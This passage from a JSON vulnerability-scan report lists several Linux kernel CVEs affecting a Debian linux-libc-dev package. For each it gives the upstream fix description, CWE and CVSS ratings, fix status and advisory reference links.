"Fingerprint": "sha256:1a687b48075de0fdf8d6d7524ec125c6eeee7af26c1998d126a64eb6e71a5754", "Title": "kernel: dmaengine: idxd: Check availability of workqueue allocated by idxd wq driver before using", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndmaengine: idxd: Check availability of workqueue allocated by idxd wq driver before using\n\nRunning IDXD workloads in a container with the /dev directory mounted can\ntrigger a call trace or even a kernel panic when the parent process of the\ncontainer is terminated.\n\nThis issue occurs because, under certain configurations, Docker does not\nproperly propagate the mount replica back to the original mount point.\n\nIn this case, when the user driver detaches, the WQ is destroyed but it\nstill calls destroy_workqueue() attempting to completes all pending work.\nIt's necessary to check wq-\u003ewq and skip the drain if it no longer exists.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 3, "nvd": 3, "oracle-oval": 3, "redhat": 2, "rocky": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2025:20095", "https://access.redhat.com/security/cve/CVE-2025-38369", "https://bugzilla.redhat.com/show_bug.cgi?id=2331326", "https://bugzilla.redhat.com/show_bug.cgi?id=2333985", "https://bugzilla.redhat.com/show_bug.cgi?id=2334373", "https://bugzilla.redhat.com/show_bug.cgi?id=2334415", "https://bugzilla.redhat.com/show_bug.cgi?id=2334547", "https://bugzilla.redhat.com/show_bug.cgi?id=2334548", "https://bugzilla.redhat.com/show_bug.cgi?id=2334676", "https://bugzilla.redhat.com/show_bug.cgi?id=2337121", "https://bugzilla.redhat.com/show_bug.cgi?id=2338185", "https://bugzilla.redhat.com/show_bug.cgi?id=2338211", "https://bugzilla.redhat.com/show_bug.cgi?id=2338813", "https://bugzilla.redhat.com/show_bug.cgi?id=2338821", "https://bugzilla.redhat.com/show_bug.cgi?id=2338828", "https://bugzilla.redhat.com/show_bug.cgi?id=2338998", "https://bugzilla.redhat.com/show_bug.cgi?id=2339130", "https://bugzilla.redhat.com/show_bug.cgi?id=2339141", "https://bugzilla.redhat.com/show_bug.cgi?id=2343172", "https://bugzilla.redhat.com/show_bug.cgi?id=2343186", "https://bugzilla.redhat.com/show_bug.cgi?id=2344684", "https://bugzilla.redhat.com/show_bug.cgi?id=2344687", "https://bugzilla.redhat.com/show_bug.cgi?id=2345240", "https://bugzilla.redhat.com/show_bug.cgi?id=2346272", "https://bugzilla.redhat.com/show_bug.cgi?id=2348522", "https://bugzilla.redhat.com/show_bug.cgi?id=2348523", "https://bugzilla.redhat.com/show_bug.cgi?id=2348541", "https://bugzilla.redhat.com/show_bug.cgi?id=2348543", "https://bugzilla.redhat.com/show_bug.cgi?id=2348547", "https://bugzilla.redhat.com/show_bug.cgi?id=2348550", "https://bugzilla.redhat.com/show_bug.cgi?id=2348556", "https://bugzilla.redhat.com/show_bug.cgi?id=2348561", "https://bugzilla.redhat.com/show_bug.cgi?id=2348567", "https://bugzilla.redhat.com/show_bug.cgi?id=2348572", "https://bugzilla.redhat.com/show_bug.cgi?id=2348574", "https://bugzilla.redhat.com/show_bug.cgi?id=2348577", "https://bugzilla.redhat.com/show_bug.cgi?id=2348581", "https://bugzilla.redhat.com/show_bug.cgi?id=2348584", "https://bugzilla.redhat.com/show_bug.cgi?id=2348587", "https://bugzilla.redhat.com/show_bug.cgi?id=2348590", "https://bugzilla.redhat.com/show_bug.cgi?id=2348592", "https://bugzilla.redhat.com/show_bug.cgi?id=2348593", "https://bugzilla.redhat.com/show_bug.cgi?id=2348595", "https://bugzilla.redhat.com/show_bug.cgi?id=2348597", "https://bugzilla.redhat.com/show_bug.cgi?id=2348600", "https://bugzilla.redhat.com/show_bug.cgi?id=2348601", "https://bugzilla.redhat.com/show_bug.cgi?id=2348602", "https://bugzilla.redhat.com/show_bug.cgi?id=2348603", "https://bugzilla.redhat.com/show_bug.cgi?id=2348612", "https://bugzilla.redhat.com/show_bug.cgi?id=2348617", "https://bugzilla.redhat.com/show_bug.cgi?id=2348620", "https://bugzilla.redhat.com/show_bug.cgi?id=2348621", "https://bugzilla.redhat.com/show_bug.cgi?id=2348625", "https://bugzilla.redhat.com/show_bug.cgi?id=2348629", "https://bugzilla.redhat.com/show_bug.cgi?id=2348630", "https://bugzilla.redhat.com/show_bug.cgi?id=2348645", "https://bugzilla.redhat.com/show_bug.cgi?id=2348647", "https://bugzilla.redhat.com/show_bug.cgi?id=2348650", "https://bugzilla.redhat.com/show_bug.cgi?id=2348656", "https://bugzilla.redhat.com/show_bug.cgi?id=2350363", "https://bugzilla.redhat.com/show_bug.cgi?id=2350364", "https://bugzilla.redhat.com/show_bug.cgi?id=2350373", "https://bugzilla.redhat.com/show_bug.cgi?id=2350375", "https://bugzilla.redhat.com/show_bug.cgi?id=2350386", "https://bugzilla.redhat.com/show_bug.cgi?id=2350392", "https://bugzilla.redhat.com/show_bug.cgi?id=2350396", "https://bugzilla.redhat.com/show_bug.cgi?id=2350397", "https://bugzilla.redhat.com/show_bug.cgi?id=2350589", "https://bugzilla.redhat.com/show_bug.cgi?id=2350725", "https://bugzilla.redhat.com/show_bug.cgi?id=2350726", "https://bugzilla.redhat.com/show_bug.cgi?id=2351605", "https://bugzilla.redhat.com/show_bug.cgi?id=2351606", "https://bugzilla.redhat.com/show_bug.cgi?id=2351608", "https://bugzilla.redhat.com/show_bug.cgi?id=2351612", "https://bugzilla.redhat.com/show_bug.cgi?id=2351613", "https://bugzilla.redhat.com/show_bug.cgi?id=2351616", "https://bugzilla.redhat.com/show_bug.cgi?id=2351618", "https://bugzilla.redhat.com/show_bug.cgi?id=2351620", "https://bugzilla.redhat.com/show_bug.cgi?id=2351624", "https://bugzilla.redhat.com/show_bug.cgi?id=2351625", "https://bugzilla.redhat.com/show_bug.cgi?id=2351629", "https://bugzilla.redhat.com/show_bug.cgi?id=2356641", "https://bugzilla.redhat.com/show_bug.cgi?id=2356647", "https://bugzilla.redhat.com/show_bug.cgi?id=2356664", "https://bugzilla.redhat.com/show_bug.cgi?id=2360215", "https://bugzilla.redhat.com/show_bug.cgi?id=2363332", "https://bugzilla.redhat.com/show_bug.cgi?id=2366125", "https://bugzilla.redhat.com/show_bug.cgi?id=2369184", "https://bugzilla.redhat.com/show_bug.cgi?id=2376076", "https://bugzilla.redhat.com/show_bug.cgi?id=2383398", "https://bugzilla.redhat.com/show_bug.cgi?id=2383432", "https://bugzilla.redhat.com/show_bug.cgi?id=2383913", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-28956", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36350", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36357", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-49570", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-52332", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53147", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53216", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53241", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-54456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56662", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56675", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56690", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57901", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57902", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57941", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57942", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57977", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57981", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57984", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57986", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57987", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57988", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57989", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57995", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58004", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58005", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58006", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58012", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58013", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58014", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58020", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58057", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58061", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58069", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58072", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58075", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58077", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58088", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21633", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21647", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21652", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21655", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21671", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21680", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21691", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21693", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21696", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21702", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21726", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21732", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21738", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21742", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21743", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21750", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21761", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21765", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21771", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21777", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21785", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21786", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21790", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21791", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21795", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21796", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21826", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21828", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21837", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21844", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21846", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21847", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21851", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21855", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21857", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21863", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21864", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21902", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21931", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21976", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22056", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-37749", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-37994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38369", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38412", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38468", "https://errata.rockylinux.org/RLSA-2025:20095", "https://git.kernel.org/linus/17502e7d7b7113346296f6758324798d536c31fd%20%286.16-rc1%29", "https://git.kernel.org/stable/c/17502e7d7b7113346296f6758324798d536c31fd", "https://git.kernel.org/stable/c/98fd66c8ba77e3a7137575f610271014bc0e701f", "https://git.kernel.org/stable/c/aee7a7439f8c0884da87694a401930204a57128f", "https://git.kernel.org/stable/c/e0051a3daa8b2cb318b03b2f9317c3e40855847a", "https://linux.oracle.com/cve/CVE-2025-38369.html", "https://linux.oracle.com/errata/ELSA-2025-20551.html", "https://lore.kernel.org/linux-cve-announce/2025072559-CVE-2025-38369-6ddf@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-38369", "https://ubuntu.com/security/notices/USN-7833-1", "https://ubuntu.com/security/notices/USN-7833-2", "https://ubuntu.com/security/notices/USN-7833-3", "https://ubuntu.com/security/notices/USN-7833-4", "https://ubuntu.com/security/notices/USN-7834-1", "https://ubuntu.com/security/notices/USN-7856-1", "https://ubuntu.com/security/notices/USN-8028-1", "https://ubuntu.com/security/notices/USN-8028-2", "https://ubuntu.com/security/notices/USN-8028-3", "https://ubuntu.com/security/notices/USN-8028-4", "https://ubuntu.com/security/notices/USN-8028-5", "https://ubuntu.com/security/notices/USN-8028-6", "https://ubuntu.com/security/notices/USN-8028-7", "https://ubuntu.com/security/notices/USN-8028-8", "https://ubuntu.com/security/notices/USN-8031-1", "https://ubuntu.com/security/notices/USN-8031-2", "https://ubuntu.com/security/notices/USN-8031-3", "https://ubuntu.com/security/notices/USN-8052-1", "https://ubuntu.com/security/notices/USN-8052-2", "https://ubuntu.com/security/notices/USN-8074-1", "https://ubuntu.com/security/notices/USN-8074-2", "https://ubuntu.com/security/notices/USN-8126-1", "https://www.cve.org/CVERecord?id=CVE-2025-38369" ], "PublishedDate": "2025-07-25T13:15:25.823Z", "LastModifiedDate": "2026-11-05T21:18:29.35Z" }, { "VulnerabilityID": "CVE-2025-38582", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-38582", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7707350b315ca21c2620aab69a55dc7900ac8f1184d19d6894f5815647d4e0f7", "Title": "kernel: RDMA/hns: Fix double destruction of rsv_qp", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/hns: Fix double destruction of rsv_qp\n\nrsv_qp may be double destroyed in error flow, first in free_mr_init(),\nand then in hns_roce_exit(). Fix it by moving the free_mr_init() call\ninto hns_roce_v2_init().\n\nlist_del corruption, ffff589732eb9b50-\u003enext is LIST_POISON1 (dead000000000100)\nWARNING: CPU: 8 PID: 1047115 at lib/list_debug.c:53 __list_del_entry_valid+0x148/0x240\n...\nCall trace:\n __list_del_entry_valid+0x148/0x240\n hns_roce_qp_remove+0x4c/0x3f0 [hns_roce_hw_v2]\n hns_roce_v2_destroy_qp_common+0x1dc/0x5f4 [hns_roce_hw_v2]\n hns_roce_v2_destroy_qp+0x22c/0x46c [hns_roce_hw_v2]\n free_mr_exit+0x6c/0x120 [hns_roce_hw_v2]\n hns_roce_v2_exit+0x170/0x200 [hns_roce_hw_v2]\n hns_roce_exit+0x118/0x350 [hns_roce_hw_v2]\n __hns_roce_hw_v2_init_instance+0x1c8/0x304 [hns_roce_hw_v2]\n hns_roce_hw_v2_reset_notify_init+0x170/0x21c [hns_roce_hw_v2]\n hns_roce_hw_v2_reset_notify+0x6c/0x190 [hns_roce_hw_v2]\n hclge_notify_roce_client+0x6c/0x160 [hclge]\n hclge_reset_rebuild+0x150/0x5c0 [hclge]\n hclge_reset+0x10c/0x140 [hclge]\n hclge_reset_subtask+0x80/0x104 [hclge]\n hclge_reset_service_task+0x168/0x3ac [hclge]\n hclge_service_task+0x50/0x100 [hclge]\n process_one_work+0x250/0x9a0\n worker_thread+0x324/0x990\n kthread+0x190/0x210\n ret_from_fork+0x10/0x18", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "nvd": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-38582", "https://git.kernel.org/linus/c6957b95ecc5b63c5a4bb4ecc28af326cf8f6dc8%20%286.17-rc1%29", "https://git.kernel.org/stable/c/067ca15be8b8342931536b66206c496e76864ecf", "https://git.kernel.org/stable/c/10b083dbba22be19baa848432b6f25aa68ab2db5", "https://git.kernel.org/stable/c/5a791715803304bf81ae2a3a278f606e36b82481", "https://git.kernel.org/stable/c/c6957b95ecc5b63c5a4bb4ecc28af326cf8f6dc8", "https://git.kernel.org/stable/c/dab173bae3303f074f063750a8dead2550d8c782", "https://git.kernel.org/stable/c/fc8b0f5b16bab2e032b4cfcd6218d5df3b80b2ea", "https://lore.kernel.org/linux-cve-announce/2025081914-CVE-2025-38582-7eca@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-38582", "https://ubuntu.com/security/notices/USN-7879-1", "https://ubuntu.com/security/notices/USN-7879-2", "https://ubuntu.com/security/notices/USN-7879-3", "https://ubuntu.com/security/notices/USN-7879-4", "https://ubuntu.com/security/notices/USN-7880-1", "https://ubuntu.com/security/notices/USN-7934-1", "https://ubuntu.com/security/notices/USN-8028-1", "https://ubuntu.com/security/notices/USN-8028-2", "https://ubuntu.com/security/notices/USN-8028-3", "https://ubuntu.com/security/notices/USN-8028-4", "https://ubuntu.com/security/notices/USN-8028-5", "https://ubuntu.com/security/notices/USN-8028-6", "https://ubuntu.com/security/notices/USN-8028-7", "https://ubuntu.com/security/notices/USN-8028-8", "https://ubuntu.com/security/notices/USN-8031-1", "https://ubuntu.com/security/notices/USN-8031-2", "https://ubuntu.com/security/notices/USN-8031-3", "https://ubuntu.com/security/notices/USN-8052-1", "https://ubuntu.com/security/notices/USN-8052-2", "https://ubuntu.com/security/notices/USN-8074-1", "https://ubuntu.com/security/notices/USN-8074-2", "https://ubuntu.com/security/notices/USN-8126-1", "https://www.cve.org/CVERecord?id=CVE-2025-38582" ], "PublishedDate": "2025-08-19T17:15:35.43Z", "LastModifiedDate": "2026-10-30T13:18:06Z" }, { "VulnerabilityID": "CVE-2025-38584", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-38584", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a51856feeed01b4ba0bb706bf473d60ea8491ef1f0d1c4abfbaad2dd31d61acb", "Title": "kernel: padata: Fix pd UAF once and for all", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\npadata: Fix pd UAF once and for all\n\nThere is a race condition/UAF in padata_reorder that goes back\nto the initial commit. A reference count is taken at the start\nof the process in padata_do_parallel, and released at the end in\npadata_serial_worker.\n\nThis reference count is (and only is) required for padata_replace\nto function correctly. If padata_replace is never called then\nthere is no issue.\n\nIn the function padata_reorder which serves as the core of padata,\nas soon as padata is added to queue-\u003eserial.list, and the associated\nspin lock released, that padata may be processed and the reference\ncount on pd would go away.\n\nFix this by getting the next padata before the squeue-\u003eserial lock\nis released.\n\nIn order to make this possible, simplify padata_reorder by only\ncalling it once the next padata arrives.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-38584", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/71203f68c7749609d7fc8ae6ad054bdedeb24f91%20%286.17-rc1%29", "https://git.kernel.org/stable/c/609e59193fc6d9dd323f1c6ae1fdd721f1c79680", "https://git.kernel.org/stable/c/71203f68c7749609d7fc8ae6ad054bdedeb24f91", "https://git.kernel.org/stable/c/73f132e60857038416540c3599b1de6033d7575a", "https://git.kernel.org/stable/c/a11a12a9880ab37342b73c93cfe1a3ada02ff0db", "https://git.kernel.org/stable/c/a2048e475e22b13dc3e53d485b7e6e11464ed9a6", "https://git.kernel.org/stable/c/cdf79bd2e1ecb3cc75631c73d8f4149be6019a52", "https://git.kernel.org/stable/c/dbe3e911a59bda6de96e7cae387ff882c2c177fa", "https://git.kernel.org/stable/c/f231d5d001ec75f5886c02d496a4c79edc383d45", "https://linux.oracle.com/cve/CVE-2025-38584.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2025081914-CVE-2025-38584-2648@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-38584", "https://ubuntu.com/security/notices/USN-7879-1", "https://ubuntu.com/security/notices/USN-7879-2", "https://ubuntu.com/security/notices/USN-7879-3", "https://ubuntu.com/security/notices/USN-7879-4", "https://ubuntu.com/security/notices/USN-7880-1", "https://ubuntu.com/security/notices/USN-7934-1", "https://ubuntu.com/security/notices/USN-8028-1", "https://ubuntu.com/security/notices/USN-8028-2", "https://ubuntu.com/security/notices/USN-8028-3", "https://ubuntu.com/security/notices/USN-8028-4", "https://ubuntu.com/security/notices/USN-8028-5", "https://ubuntu.com/security/notices/USN-8028-6", "https://ubuntu.com/security/notices/USN-8028-7", "https://ubuntu.com/security/notices/USN-8028-8", "https://ubuntu.com/security/notices/USN-8031-1", "https://ubuntu.com/security/notices/USN-8031-2", "https://ubuntu.com/security/notices/USN-8031-3", "https://ubuntu.com/security/notices/USN-8033-1", "https://ubuntu.com/security/notices/USN-8033-2", "https://ubuntu.com/security/notices/USN-8033-3", "https://ubuntu.com/security/notices/USN-8033-4", "https://ubuntu.com/security/notices/USN-8033-5", "https://ubuntu.com/security/notices/USN-8033-6", "https://ubuntu.com/security/notices/USN-8033-7", "https://ubuntu.com/security/notices/USN-8033-8", "https://ubuntu.com/security/notices/USN-8034-1", "https://ubuntu.com/security/notices/USN-8034-2", "https://ubuntu.com/security/notices/USN-8052-1", "https://ubuntu.com/security/notices/USN-8052-2", "https://ubuntu.com/security/notices/USN-8074-1", "https://ubuntu.com/security/notices/USN-8074-2", "https://ubuntu.com/security/notices/USN-8126-1", "https://ubuntu.com/security/notices/USN-8141-1", "https://ubuntu.com/security/notices/USN-8163-1", "https://ubuntu.com/security/notices/USN-8163-2", "https://ubuntu.com/security/notices/USN-8243-1", "https://www.cve.org/CVERecord?id=CVE-2025-38584" ], "PublishedDate": "2025-08-19T17:15:35.723Z", "LastModifiedDate": "2026-10-15T22:18:46.183Z" }, { "VulnerabilityID": "CVE-2025-38585", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-38585", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7d1652e0ecd0272e947d79e6626e438def6abc7163bf8385bb751ed0862a3a56", "Title": "kernel: staging: media: atomisp: Fix stack buffer overflow in gmin_get_var_int()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nstaging: media: atomisp: Fix stack buffer overflow in gmin_get_var_int()\n\nWhen gmin_get_config_var() calls efi.get_variable() and the EFI variable\nis larger than the expected buffer size, two behaviors combine to create\na stack buffer overflow:\n\n1. gmin_get_config_var() does not return the proper error code when\n efi.get_variable() fails. It returns the stale 'ret' value from\n earlier operations instead of indicating the EFI failure.\n\n2. When efi.get_variable() returns EFI_BUFFER_TOO_SMALL, it updates\n *out_len to the required buffer size but writes no data to the output\n buffer. However, due to bug #1, gmin_get_var_int() believes the call\n succeeded.\n\nThe caller gmin_get_var_int() then performs:\n- Allocates val[CFG_VAR_NAME_MAX + 1] (65 bytes) on stack\n- Calls gmin_get_config_var(dev, is_gmin, var, val, \u0026len) with len=64\n- If EFI variable is \u003e64 bytes, efi.get_variable() sets len=required_size\n- Due to bug #1, thinks call succeeded with len=required_size\n- Executes val[len] = 0, writing past end of 65-byte stack buffer\n\nThis creates a stack buffer overflow when EFI variables are larger than\n64 bytes. Since EFI variables can be controlled by firmware or system\nconfiguration, this could potentially be exploited for code execution.\n\nFix the bug by returning proper error codes from gmin_get_config_var()\nbased on EFI status instead of stale 'ret' value.\n\nThe gmin_get_var_int() function is called during device initialization\nfor camera sensor configuration on Intel Bay Trail and Cherry Trail\nplatforms using the atomisp camera stack.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-38585", "https://git.kernel.org/linus/ee4cf798202d285dcbe85e4467a094c44f5ed8e6%20%286.17-rc1%29", "https://git.kernel.org/stable/c/1a7a2f59fb2eb0718a0cff1e5822500cefe50ed9", "https://git.kernel.org/stable/c/3d672fe065aa00f4d66f42e3c9720f69a3ed43e7", "https://git.kernel.org/stable/c/51b8dc5163d2ff2bf04019f8bf7e3bd0e75bb654", "https://git.kernel.org/stable/c/e6d3453a002e89537e6136f6c774659b297a549b", "https://git.kernel.org/stable/c/ee4cf798202d285dcbe85e4467a094c44f5ed8e6", "https://lore.kernel.org/linux-cve-announce/2025081915-CVE-2025-38585-e14e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-38585", "https://ubuntu.com/security/notices/USN-7879-1", "https://ubuntu.com/security/notices/USN-7879-2", "https://ubuntu.com/security/notices/USN-7879-3", "https://ubuntu.com/security/notices/USN-7879-4", "https://ubuntu.com/security/notices/USN-7880-1", "https://ubuntu.com/security/notices/USN-7934-1", "https://ubuntu.com/security/notices/USN-8028-1", "https://ubuntu.com/security/notices/USN-8028-2", "https://ubuntu.com/security/notices/USN-8028-3", "https://ubuntu.com/security/notices/USN-8028-4", "https://ubuntu.com/security/notices/USN-8028-5", "https://ubuntu.com/security/notices/USN-8028-6", "https://ubuntu.com/security/notices/USN-8028-7", "https://ubuntu.com/security/notices/USN-8028-8", "https://ubuntu.com/security/notices/USN-8031-1", "https://ubuntu.com/security/notices/USN-8031-2", "https://ubuntu.com/security/notices/USN-8031-3", 